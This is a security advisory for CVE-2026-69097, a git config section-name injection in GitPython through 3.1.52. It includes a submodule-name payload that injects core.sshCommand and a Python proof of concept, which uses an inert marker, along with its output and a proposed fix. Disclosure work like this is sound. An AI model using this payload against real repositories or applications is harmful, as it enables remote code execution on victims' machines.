CVE-2026-69097

### Summary In GitPython `<= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ "` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**. This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\n\x00]` guard added for them does not stop a **same-line** section break inside a name. ### Details The only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL: `git/config.py:75,897-899` (`GitPython 3.1.52`): ```python UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]") ... def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None: if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name): raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label) ``` The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`: `git/config.py:693`: ```python fp.write(("[%s]\n" % name).encode(defenc)) ``` For submodules the name is wrapped as `submodule "<name>"` (`git/objects/submodule/util.py:39`, `return f'submodule "{name}"'`), which supplies the balancing quote. A submodule named: ``` x"] [core] sshCommand=CMD # ``` therefore serializes to the header `[submodule "x"] [core] sshCommand=CMD #"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires. The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`: - `Repo.create_submodule(name=<untrusted>, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), "url", url)` — a single call, no hostile remote required. - `Repo.clone_from(<hostile url>)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), "url", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`. Asymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value("core", "editor", "x\n\tsshCommand=CMD")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard. ### PoC Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed. ```python #!/usr/bin/env python3 """Minimal PoC: git-config section-name injection in GitPython==3.1.52.""" from importlib.metadata import version import os, tempfile, subprocess import git print(f"# GitPython {version('GitPython')}") # version proof -- first line MARKER = "MARKER_9f3a" # inert; never executed tmp = tempfile.mkdtemp() env = {**os.environ, "HOME": tmp, "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"} def run(*a, cwd=None): return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True) # A benign local repo used as the submodule url (a plain path, no network). src = os.path.join(tmp, "src"); os.makedirs(src) run("git", "init", "-q", src) open(os.path.join(src, "f"), "w").write("x") run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src) suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl) def parent_repo(): p = tempfile.mkdtemp(dir=tmp) run("git", "init", "-q", p) open(os.path.join(p, "r"), "w").write("x") run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p) return p def injected_sshcommand(parent): r = run("git", "config", "-f", os.path.join(parent, ".git", "config"), "--get", "core.sshCommand") return (r.returncode, r.stdout.strip()) benign = "docs" evil = f'x"] [core] sshCommand={MARKER} #' # closes the header, opens [core] p_control = parent_repo() git.Repo(p_control).create_submodule(name=benign, path="docs", url=suburl) p_exploit = parent_repo() git.Repo(p_exploit).create_submodule(name=evil, path="sub", url=suburl) ctl = injected_sshcommand(p_control) exp = injected_sshcommand(p_exploit) header = [l for l in open(os.path.join(p_exploit, ".git", "config")).read().splitlines() if l.startswith("[submodule")][0] print("control name :", repr(benign)) print(" git core.sshCommand ->", ctl, "(unset)") print("exploit name :", repr(evil)) print(" written header ->", header) print(" git core.sshCommand ->", exp) assert ctl[0] != 0 and ctl[1] == "", "control unexpectedly set core.sshCommand" assert exp == (0, MARKER), "not reproduced" print(f"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} " f"into the victim's trusted .git/config (git would run it on the next ssh op)") ``` Run: ```bash uv run --with GitPython==3.1.52 python poc.py ``` Observed output: ``` # GitPython 3.1.52 control name : 'docs' git core.sshCommand -> (1, '') (unset) exploit name : 'x"] [core] sshCommand=MARKER_9f3a #' written header -> [submodule "x"] [core] sshCommand=MARKER_9f3a #"] git core.sshCommand -> (0, 'MARKER_9f3a') VERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op) ``` The benign name yields a single clean `[submodule "docs"]` section; the malicious name yields an injected `core.sshCommand`. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced `"` makes git reject the header); the `submodule "<name>"` wrapper balances them automatically. ### Impact Arbitrary attacker-controlled write into the victim's repository-local `.git/config`, which git fully trusts. `core.sshCommand` is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (`alias.*`, `core.pager`, `core.fsmonitor`) fire on more common operations. Reachable in default configuration through two realistic paths: - an application that constructs a submodule from untrusted input via `Repo.create_submodule(name=...)` (single call); or - `Repo.clone_from` of an untrusted repository followed by `submodule_update` — the canonical submodule threat model, where the malicious name is read from the cloned `.gitmodules`. No non-default git settings are required. Primarily a Unix vector: on Windows the `"` in the resulting `.git/modules/<name>` directory name can abort the fresh-clone write branch (the direct config-API and `create_submodule` sinks are unaffected). ### Recommended fix Reject or escape configuration section/subsection/option **names** that contain `]`, `[`, `"`, or leading/trailing whitespace (or apply git's own section-name escaping) in `_assure_config_name_safe` / `write_section`, rather than only CR/LF/NUL. Validating submodule names before they reach `sm_section` would additionally close the clone-driven path.

GitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim's .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations.